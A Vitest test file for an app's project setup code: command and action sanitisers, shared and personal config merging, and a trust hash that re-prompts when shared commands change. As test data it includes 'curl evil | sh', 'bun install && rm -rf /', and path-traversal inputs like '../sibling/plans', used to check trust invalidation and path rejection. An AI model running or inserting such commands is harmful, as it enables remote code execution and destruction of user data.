Files

558 lines
26 KiB
JavaScript
Raw Permalink Normal View History

import { describe, expect, it } from 'vitest';
import os from 'os';
import path from 'path';
import { mkdir, mkdtemp, readFile, rm, writeFile } from 'fs/promises';
import { createProjectConfigRuntime } from './project-config.js';
import { createProjectIdFromPath, projectPathFromId } from './project-id.js';
import {
applySharedProjectSetupPatch,
isSharedProjectConfigEmpty,
mergeProjectSetup,
normalizePlansDir,
serializeSharedProjectConfig,
parseSharedProjectConfig,
sharedTrustHashOf,
projectSetupPatchToStored,
projectSetupViewOf,
sanitizeDraftStarters,
sanitizeProjectActions,
sanitizeSetupCommands,
} from './project-setup.js';
const emptyPersonal = {
setupWorktree: [],
setupWorktreeWait: null,
setupWorktreeMode: 'append',
projectActions: [],
projectActionsPrimaryId: null,
draftStarters: [],
hiddenSharedActionIds: [],
sharedTrust: null,
};
const createRuntime = async () => {
const tempRoot = await mkdtemp(path.join(os.tmpdir(), 'oc-project-setup-'));
const runtime = createProjectConfigRuntime({
fsPromises: await import('fs/promises'),
path,
projectsDirPath: path.join(tempRoot, 'projects'),
createTaskID: () => 'task-fixed-id',
});
return {
runtime,
tempRoot,
readRaw: async (projectId) => JSON.parse(await readFile(path.join(tempRoot, 'projects', `${projectId}.json`), 'utf8')),
cleanup: () => rm(tempRoot, { recursive: true, force: true }),
};
};
describe('project setup sanitizers', () => {
it('keeps only non-empty trimmed setup commands', () => {
expect(sanitizeSetupCommands([' bun install ', '', 42, '\n'])).toEqual(['bun install']);
expect(sanitizeSetupCommands('bun install')).toEqual([]);
});
it('drops actions without id, name, or command and duplicate ids', () => {
expect(sanitizeProjectActions([
{ id: 'a', name: 'Dev', command: 'bun run dev' },
{ id: 'a', name: 'Again', command: 'x' },
{ id: '', name: 'No id', command: 'x' },
{ id: 'b', name: '', command: 'x' },
'not an action',
])).toEqual([{ id: 'a', name: 'Dev', command: 'bun run dev', icon: null }]);
});
it('keeps only the optional action fields the user set', () => {
expect(sanitizeProjectActions([{
id: 'a',
name: 'Dev',
command: 'bun run dev',
icon: ' rocket ',
runIn: 'parent',
platforms: ['macos', 'MacOS', 'plan9', 'linux'],
autoOpenUrl: true,
openUrl: 'http://localhost:3000',
desktopOpenSshForward: '',
}])).toEqual([{
id: 'a',
name: 'Dev',
command: 'bun run dev',
icon: 'rocket',
autoOpenUrl: true,
openUrl: 'http://localhost:3000',
platforms: ['macos', 'linux'],
runIn: 'parent',
}]);
});
it('treats any runIn other than parent as the worktree default', () => {
const [worktree, number] = sanitizeProjectActions([
{ id: 'a', name: 'A', command: 'x', runIn: 'worktree' },
{ id: 'b', name: 'B', command: 'x', runIn: 123 },
]);
expect(worktree).not.toHaveProperty('runIn');
expect(number).not.toHaveProperty('runIn');
});
it('dedupes draft starters by type and name', () => {
expect(sanitizeDraftStarters([
{ type: 'skill', name: 'triage-prs' },
{ type: 'skill', name: 'triage-prs' },
{ type: 'command', name: ' explore ' },
{ type: 'agent', name: 'nope' },
])).toEqual([{ type: 'skill', name: 'triage-prs' }, { type: 'command', name: 'explore' }]);
});
it('builds the personal view from the on-disk keys and nulls a dangling primary action', () => {
expect(projectSetupViewOf({
'setup-worktree': ['bun install'],
'setup-worktree-wait': true,
setupWorktreeMode: 'replace',
projectActions: [{ id: 'a', name: 'A', command: 'x' }],
projectActionsPrimaryId: 'missing',
draftStarters: [{ type: 'skill', name: 's' }],
hiddenSharedActionIds: ['dev', '', 'dev', 7],
sharedTrust: { hash: 'sha256:abc', trustedAt: 5 },
scheduledTasks: [{ id: 't' }],
})).toEqual({
setupWorktree: ['bun install'],
setupWorktreeWait: true,
setupWorktreeMode: 'replace',
projectActions: [{ id: 'a', name: 'A', command: 'x', icon: null }],
projectActionsPrimaryId: null,
draftStarters: [{ type: 'skill', name: 's' }],
hiddenSharedActionIds: ['dev'],
sharedTrust: { hash: 'sha256:abc', trustedAt: 5 },
});
expect(projectSetupViewOf(null)).toEqual(emptyPersonal);
});
it('maps a patch to the stored keys it names and rejects wrong shapes', () => {
expect(projectSetupPatchToStored({
setupWorktree: ['a'],
projectActionsPrimaryId: null,
hiddenSharedActionIds: ['x'],
setupWorktreeMode: 'replace',
})).toEqual({
'setup-worktree': ['a'],
projectActionsPrimaryId: undefined,
hiddenSharedActionIds: ['x'],
setupWorktreeMode: 'replace',
});
expect(projectSetupPatchToStored({})).toEqual({});
expect(() => projectSetupPatchToStored({ setupWorktree: 'a' })).toThrow('setupWorktree must be');
expect(() => projectSetupPatchToStored({ setupWorktreeWait: 'yes' })).toThrow('setupWorktreeWait must be');
expect(() => projectSetupPatchToStored({ projectActions: {} })).toThrow('projectActions must be');
expect(() => projectSetupPatchToStored({ draftStarters: null })).toThrow('draftStarters must be');
expect(() => projectSetupPatchToStored({ hiddenSharedActionIds: 'dev' })).toThrow('hiddenSharedActionIds must be');
expect(() => projectSetupPatchToStored({ setupWorktreeMode: 'merge' })).toThrow('setupWorktreeMode must be');
expect(() => projectSetupPatchToStored({ sharedTrustHash: '' })).toThrow('sharedTrustHash must be');
expect(projectSetupPatchToStored({ sharedTrustHash: null })).toEqual({ sharedTrust: undefined });
expect(projectSetupPatchToStored({ sharedTrustHash: 'sha256:x' }).sharedTrust).toMatchObject({ hash: 'sha256:x' });
expect(() => projectSetupPatchToStored([])).toThrow('patch must be');
});
});
describe('shared project config', () => {
it('accepts a relative plansDir inside the repo only', () => {
expect(normalizePlansDir(' docs/plans/ ')).toBe('docs/plans');
expect(normalizePlansDir('./.openchamber/plans')).toBe('.openchamber/plans');
expect(normalizePlansDir('docs\\plans')).toBe('docs/plans');
expect(normalizePlansDir('/etc')).toBeNull();
expect(normalizePlansDir('C:/plans')).toBeNull();
expect(normalizePlansDir('../sibling/plans')).toBeNull();
expect(normalizePlansDir('docs/../../x')).toBeNull();
expect(normalizePlansDir('')).toBeNull();
});
it('parses a version-1 file and sanitizes its lists', () => {
expect(parseSharedProjectConfig(JSON.stringify({
version: 1,
setupWorktree: ['bun install', ''],
setupWorktreeWait: true,
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }, { id: '', name: 'x', command: 'y' }],
draftStarters: [{ type: 'skill', name: 's' }],
plansDir: 'docs/plans',
}))).toEqual({
status: 'ok',
config: {
setupWorktree: ['bun install'],
setupWorktreeWait: true,
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null }],
draftStarters: [{ type: 'skill', name: 's' }],
plansDir: 'docs/plans',
},
});
expect(parseSharedProjectConfig('{"version":1}')).toEqual({
status: 'ok',
config: { setupWorktree: [], setupWorktreeWait: null, projectActions: [], draftStarters: [], plansDir: null },
});
});
it('reports a broken file as invalid with a reason, never as empty', () => {
expect(parseSharedProjectConfig('{ nope').status).toBe('invalid');
expect(parseSharedProjectConfig('[]')).toEqual({ status: 'invalid', reason: 'not an object' });
expect(parseSharedProjectConfig('{"version":2}').reason).toMatch(/unsupported version/);
expect(parseSharedProjectConfig('{"version":1,"setupWorktree":"bun install"}').reason).toMatch(/setupWorktree must be/);
expect(parseSharedProjectConfig('{"version":1,"plansDir":"/etc"}').reason).toMatch(/plansDir/);
});
it('merges shared and personal by the agreed rules', () => {
const shared = {
status: 'ok',
config: {
setupWorktree: ['bun install'],
setupWorktreeWait: true,
projectActions: [
{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null },
{ id: 'test', name: 'Test', command: 'bun test', icon: null },
{ id: 'lint', name: 'Lint', command: 'bun lint', icon: null },
],
draftStarters: [{ type: 'skill', name: 'shared-skill' }, { type: 'command', name: 'both' }],
plansDir: 'docs/plans',
},
};
const personal = {
...emptyPersonal,
setupWorktree: ['cp .env.example .env'],
projectActions: [{ id: 'test', name: 'My test', command: 'bun test --watch', icon: null }],
projectActionsPrimaryId: 'test',
draftStarters: [{ type: 'command', name: 'both' }, { type: 'command', name: 'mine' }],
hiddenSharedActionIds: ['lint'],
};
const merged = mergeProjectSetup(personal, shared);
expect(merged.setupWorktree).toEqual(['bun install', 'cp .env.example .env']);
expect(merged.setupWorktreeWait).toBe(true);
expect(merged.projectActions).toEqual([
{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null, source: 'shared' },
{ id: 'test', name: 'My test', command: 'bun test --watch', icon: null, source: 'personal' },
]);
expect(merged.projectActionsPrimaryId).toBe('test');
expect(merged.draftStarters).toEqual([
{ type: 'skill', name: 'shared-skill', source: 'shared' },
{ type: 'command', name: 'both', source: 'shared' },
{ type: 'command', name: 'mine', source: 'personal' },
]);
expect(merged.shared).toEqual({ status: 'ok', path: '.openchamber/project.json', ...shared.config });
expect(merged.personal).toBe(personal);
expect(merged.trust).toEqual({ hash: sharedTrustHashOf(shared.config), trusted: false });
});
it('hashes the executable parts of the shared config, order-independent for actions', () => {
const base = { setupWorktree: ['bun install'], projectActions: [{ id: 'b', name: 'B', command: 'y', icon: null }, { id: 'a', name: 'A', command: 'x', icon: null }], draftStarters: [], plansDir: null, setupWorktreeWait: null };
const hash = sharedTrustHashOf(base);
expect(hash).toMatch(/^sha256:[0-9a-f]{64}$/);
expect(sharedTrustHashOf({ ...base, projectActions: [...base.projectActions].reverse() })).toBe(hash);
// Renaming or re-describing does not change what runs; changing a command does.
expect(sharedTrustHashOf({ ...base, projectActions: base.projectActions.map((a) => ({ ...a, name: 'Renamed', icon: 'rocket' })) })).toBe(hash);
expect(sharedTrustHashOf({ ...base, setupWorktree: ['curl evil | sh'] })).not.toBe(hash);
expect(sharedTrustHashOf({ ...base, projectActions: [{ ...base.projectActions[0], runIn: 'parent' }, base.projectActions[1]] })).not.toBe(hash);
expect(sharedTrustHashOf({ ...base, setupWorktree: [], projectActions: [] })).toBeNull();
});
it('reports trust: nothing to trust without executable shared parts, trusted only for the recorded hash', () => {
const inert = { status: 'ok', config: { setupWorktree: [], setupWorktreeWait: null, projectActions: [], draftStarters: [{ type: 'skill', name: 's' }], plansDir: null } };
expect(mergeProjectSetup(emptyPersonal, inert).trust).toEqual({ hash: null, trusted: true });
expect(mergeProjectSetup(emptyPersonal, { status: 'missing' }).trust).toEqual({ hash: null, trusted: true });
const risky = { status: 'ok', config: { ...inert.config, setupWorktree: ['bun install'] } };
const hash = sharedTrustHashOf(risky.config);
expect(mergeProjectSetup(emptyPersonal, risky).trust).toEqual({ hash, trusted: false });
expect(mergeProjectSetup({ ...emptyPersonal, sharedTrust: { hash, trustedAt: 1 } }, risky).trust.trusted).toBe(true);
expect(mergeProjectSetup({ ...emptyPersonal, sharedTrust: { hash: 'sha256:stale', trustedAt: 1 } }, risky).trust.trusted).toBe(false);
});
it('lets the personal wait flag and replace mode win over shared', () => {
const shared = { status: 'ok', config: { setupWorktree: ['bun install'], setupWorktreeWait: true, projectActions: [], draftStarters: [], plansDir: null } };
const merged = mergeProjectSetup({ ...emptyPersonal, setupWorktree: ['mine'], setupWorktreeWait: false, setupWorktreeMode: 'replace' }, shared);
expect(merged.setupWorktree).toEqual(['mine']);
expect(merged.setupWorktreeWait).toBe(false);
});
it('carries an invalid shared read through with its reason and merges nothing from it', () => {
const merged = mergeProjectSetup({ ...emptyPersonal, setupWorktree: ['mine'] }, { status: 'invalid', reason: 'invalid JSON: x' });
expect(merged.setupWorktree).toEqual(['mine']);
expect(merged.shared.status).toBe('invalid');
expect(merged.shared.reason).toBe('invalid JSON: x');
expect(merged.shared.projectActions).toEqual([]);
});
});
describe('shared project config writes', () => {
const empty = { setupWorktree: [], setupWorktreeWait: null, projectActions: [], draftStarters: [], plansDir: null };
it('applies a patch over the current config and refuses wrong shapes', () => {
const next = applySharedProjectSetupPatch({ ...empty, setupWorktree: ['old'] }, {
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev', source: 'personal', icon: '' }],
plansDir: './docs/plans/',
});
expect(next.setupWorktree).toEqual(['old']);
expect(next.projectActions).toEqual([{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null }]);
expect(next.plansDir).toBe('docs/plans');
expect(applySharedProjectSetupPatch(next, { plansDir: '' }).plansDir).toBeNull();
expect(() => applySharedProjectSetupPatch(empty, { plansDir: '/etc' })).toThrow('plansDir must be');
expect(() => applySharedProjectSetupPatch(empty, { setupWorktree: 'x' })).toThrow('setupWorktree must be');
expect(() => applySharedProjectSetupPatch(empty, { setupWorktreeWait: 'yes' })).toThrow('setupWorktreeWait must be');
});
it('serializes version first, only the keys that carry something, without source marks', () => {
expect(serializeSharedProjectConfig({ ...empty, projectActions: [{ id: 'dev', name: 'Dev', command: 'x', icon: null, source: 'personal' }], plansDir: 'docs/plans' })).toBe([
'{',
' "version": 1,',
' "projectActions": [',
' {',
' "id": "dev",',
' "name": "Dev",',
' "command": "x"',
' }',
' ],',
' "plansDir": "docs/plans"',
'}',
'',
].join('\n'));
expect(isSharedProjectConfigEmpty(empty)).toBe(true);
expect(isSharedProjectConfigEmpty({ ...empty, setupWorktreeWait: false })).toBe(false);
});
});
describe('project id', () => {
it('round-trips a path through the id', () => {
const id = createProjectIdFromPath('/Users/me/projects/repo/');
expect(id.startsWith('path_')).toBe(true);
expect(projectPathFromId(id)).toBe('/Users/me/projects/repo');
expect(projectPathFromId('project-test')).toBe('');
expect(projectPathFromId('path_')).toBe('');
});
});
describe('project setup runtime', () => {
it('reads an empty merged view for a project without files', async () => {
const { runtime, cleanup } = await createRuntime();
try {
const view = await runtime.readProjectSetup('project-a');
expect(view.setupWorktree).toEqual([]);
expect(view.setupWorktreeWait).toBe(false);
expect(view.projectActions).toEqual([]);
expect(view.draftStarters).toEqual([]);
expect(view.shared.status).toBe('missing');
expect(view.personal).toEqual(emptyPersonal);
} finally {
await cleanup();
}
});
it('round-trips a patch and preserves server-owned and unknown keys', async () => {
const { runtime, tempRoot, readRaw, cleanup } = await createRuntime();
try {
await mkdir(path.join(tempRoot, 'projects'), { recursive: true });
await writeFile(path.join(tempRoot, 'projects', 'project-a.json'), JSON.stringify({
version: 1,
scheduledTasks: [{ id: 'task', name: 'Keep me' }],
futureKey: { from: 'a newer build' },
'setup-worktree': ['old'],
}));
const view = await runtime.updateProjectSetup('project-a', {
setupWorktree: ['bun install', ''],
setupWorktreeWait: true,
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }],
projectActionsPrimaryId: 'dev',
projectPath: '/repo/a',
});
expect(view.setupWorktree).toEqual(['bun install']);
expect(view.setupWorktreeWait).toBe(true);
expect(view.projectActions).toEqual([{ id: 'dev', name: 'Dev', command: 'bun run dev', icon: null, source: 'personal' }]);
expect(view.projectActionsPrimaryId).toBe('dev');
const raw = await readRaw('project-a');
expect(raw.scheduledTasks).toEqual([{ id: 'task', name: 'Keep me' }]);
expect(raw.futureKey).toEqual({ from: 'a newer build' });
expect(raw['setup-worktree']).toEqual(['bun install']);
expect(raw['setup-worktree-wait']).toBe(true);
expect(raw.projectPath).toBe('/repo/a');
expect(await runtime.readProjectSetup('project-a')).toEqual(view);
} finally {
await cleanup();
}
});
it('clears the primary action id when the patch sets it to null', async () => {
const { runtime, readRaw, cleanup } = await createRuntime();
try {
await runtime.updateProjectSetup('project-a', {
projectActions: [{ id: 'dev', name: 'Dev', command: 'x' }],
projectActionsPrimaryId: 'dev',
});
await runtime.updateProjectSetup('project-a', { projectActionsPrimaryId: null });
expect(await readRaw('project-a')).not.toHaveProperty('projectActionsPrimaryId');
expect((await runtime.readProjectSetup('project-a')).projectActionsPrimaryId).toBeNull();
} finally {
await cleanup();
}
});
it('leaves the file alone when the patch is invalid', async () => {
const { runtime, tempRoot, cleanup } = await createRuntime();
try {
await expect(runtime.updateProjectSetup('project-a', { setupWorktree: 'nope' })).rejects.toThrow('setupWorktree must be');
await expect(readFile(path.join(tempRoot, 'projects', 'project-a.json'), 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
} finally {
await cleanup();
}
});
it('does not clobber a scheduled task written between read and write', async () => {
const { runtime, readRaw, cleanup } = await createRuntime();
try {
await runtime.upsertScheduledTask('project-a', {
name: 'Nightly',
enabled: true,
schedule: { kind: 'daily', time: '09:30', timezone: 'UTC' },
execution: { prompt: 'hi', providerID: 'openai', modelID: 'gpt' },
});
await Promise.all([
runtime.updateProjectSetup('project-a', { setupWorktree: ['bun install'] }),
runtime.updateProjectSetup('project-a', { draftStarters: [{ type: 'skill', name: 's' }] }),
]);
const raw = await readRaw('project-a');
expect(raw.scheduledTasks).toHaveLength(1);
expect(raw['setup-worktree']).toEqual(['bun install']);
expect(raw.draftStarters).toEqual([{ type: 'skill', name: 's' }]);
} finally {
await cleanup();
}
});
it('reads the shared file from the checkout the id names and merges it', async () => {
const { runtime, tempRoot, cleanup } = await createRuntime();
try {
const repo = path.join(tempRoot, 'repo');
await mkdir(path.join(repo, '.openchamber'), { recursive: true });
await writeFile(path.join(repo, '.openchamber', 'project.json'), JSON.stringify({
version: 1,
setupWorktree: ['bun install'],
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }, { id: 'lint', name: 'Lint', command: 'bun lint' }],
draftStarters: [{ type: 'skill', name: 'triage' }],
plansDir: 'docs/plans',
}));
const projectId = createProjectIdFromPath(repo);
const fresh = await runtime.readProjectSetup(projectId);
expect(fresh.shared.status).toBe('ok');
expect(fresh.shared.plansDir).toBe('docs/plans');
expect(fresh.setupWorktree).toEqual(['bun install']);
expect(fresh.projectActions.map((action) => `${action.id}:${action.source}`)).toEqual(['dev:shared', 'lint:shared']);
const view = await runtime.updateProjectSetup(projectId, {
setupWorktree: ['cp .env.example .env'],
hiddenSharedActionIds: ['lint'],
projectActions: [{ id: 'mine', name: 'Mine', command: 'x' }],
});
expect(view.setupWorktree).toEqual(['bun install', 'cp .env.example .env']);
expect(view.projectActions.map((action) => `${action.id}:${action.source}`)).toEqual(['dev:shared', 'mine:personal']);
expect(view.draftStarters).toEqual([{ type: 'skill', name: 'triage', source: 'shared' }]);
expect(view.personal.hiddenSharedActionIds).toEqual(['lint']);
expect(view.trust.trusted).toBe(false);
const trusted = await runtime.updateProjectSetup(projectId, { sharedTrustHash: view.trust.hash });
expect(trusted.trust.trusted).toBe(true);
expect(trusted.personal.sharedTrust?.hash).toBe(view.trust.hash);
// A pull that changes a shared command invalidates the answer.
await writeFile(path.join(repo, '.openchamber', 'project.json'), JSON.stringify({ version: 1, setupWorktree: ['bun install && rm -rf /'] }));
expect((await runtime.readProjectSetup(projectId)).trust.trusted).toBe(false);
const reset = await runtime.updateProjectSetup(projectId, { sharedTrustHash: null });
expect(reset.personal.sharedTrust).toBeNull();
} finally {
await cleanup();
}
});
it('writes the shared file into the checkout, trusts it for the writer, and removes it when emptied', async () => {
const { runtime, tempRoot, readRaw, cleanup } = await createRuntime();
try {
const repo = path.join(tempRoot, 'repo');
await mkdir(repo, { recursive: true });
const projectId = createProjectIdFromPath(repo);
const sharedPath = path.join(repo, '.openchamber', 'project.json');
const shared = await runtime.updateSharedProjectSetup(projectId, {
setupWorktree: ['bun install'],
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }],
});
expect(JSON.parse(await readFile(sharedPath, 'utf8'))).toEqual({
version: 1,
setupWorktree: ['bun install'],
projectActions: [{ id: 'dev', name: 'Dev', command: 'bun run dev' }],
});
expect(shared.shared.status).toBe('ok');
expect(shared.projectActions.map((action) => `${action.id}:${action.source}`)).toEqual(['dev:shared']);
// The writer has seen what it shared: trusted here, prompt stays for teammates.
expect(shared.trust.trusted).toBe(true);
expect((await readRaw(projectId)).sharedTrust.hash).toBe(shared.trust.hash);
// A second patch replaces only the keys it names.
const withPlans = await runtime.updateSharedProjectSetup(projectId, { plansDir: 'docs/plans' });
expect(withPlans.shared.plansDir).toBe('docs/plans');
expect(withPlans.shared.setupWorktree).toEqual(['bun install']);
const emptied = await runtime.updateSharedProjectSetup(projectId, { setupWorktree: [], projectActions: [], plansDir: null });
expect(emptied.shared.status).toBe('missing');
await expect(readFile(sharedPath, 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
await expect(readFile(path.join(repo, '.openchamber'), 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
expect((await readRaw(projectId)).sharedTrust).toBeUndefined();
} finally {
await cleanup();
}
});
it('refuses to write the shared file for a checkout that does not exist and on a bad patch', async () => {
const { runtime, tempRoot, cleanup } = await createRuntime();
try {
const projectId = createProjectIdFromPath(path.join(tempRoot, 'missing-repo'));
await expect(runtime.updateSharedProjectSetup(projectId, { setupWorktree: ['x'] })).rejects.toThrow('project checkout not found');
await expect(runtime.updateSharedProjectSetup('project-test', { setupWorktree: ['x'] })).rejects.toThrow('project checkout not found');
const repo = path.join(tempRoot, 'repo');
await mkdir(repo, { recursive: true });
await expect(runtime.updateSharedProjectSetup(createProjectIdFromPath(repo), { plansDir: '../x' })).rejects.toThrow('plansDir must be');
await expect(readFile(path.join(repo, '.openchamber', 'project.json'), 'utf8')).rejects.toMatchObject({ code: 'ENOENT' });
} finally {
await cleanup();
}
});
it('resolves the repository plans folder: the default without plansDir, the configured one instead of it', async () => {
const { runtime, tempRoot, cleanup } = await createRuntime();
try {
const repo = path.join(tempRoot, 'repo');
await mkdir(repo, { recursive: true });
const projectId = createProjectIdFromPath(repo);
expect(await runtime.resolveSharedPlansDir(projectId)).toBe(path.join(repo, '.openchamber', 'plans'));
await runtime.updateSharedProjectSetup(projectId, { plansDir: 'docs/plans' });
expect(await runtime.resolveSharedPlansDir(projectId)).toBe(path.join(repo, 'docs', 'plans'));
expect(await runtime.resolveSharedPlansDir('project-test')).toBeNull();
} finally {
await cleanup();
}
});
it('reports a broken shared file as invalid and still serves the personal setup', async () => {
const { runtime, tempRoot, cleanup } = await createRuntime();
try {
const repo = path.join(tempRoot, 'repo');
await mkdir(path.join(repo, '.openchamber'), { recursive: true });
await writeFile(path.join(repo, '.openchamber', 'project.json'), '{ broken');
const projectId = createProjectIdFromPath(repo);
await runtime.updateProjectSetup(projectId, { setupWorktree: ['mine'] });
const view = await runtime.readProjectSetup(projectId);
expect(view.shared.status).toBe('invalid');
expect(view.shared.reason).toMatch(/invalid JSON/);
expect(view.setupWorktree).toEqual(['mine']);
} finally {
await cleanup();
}
});
});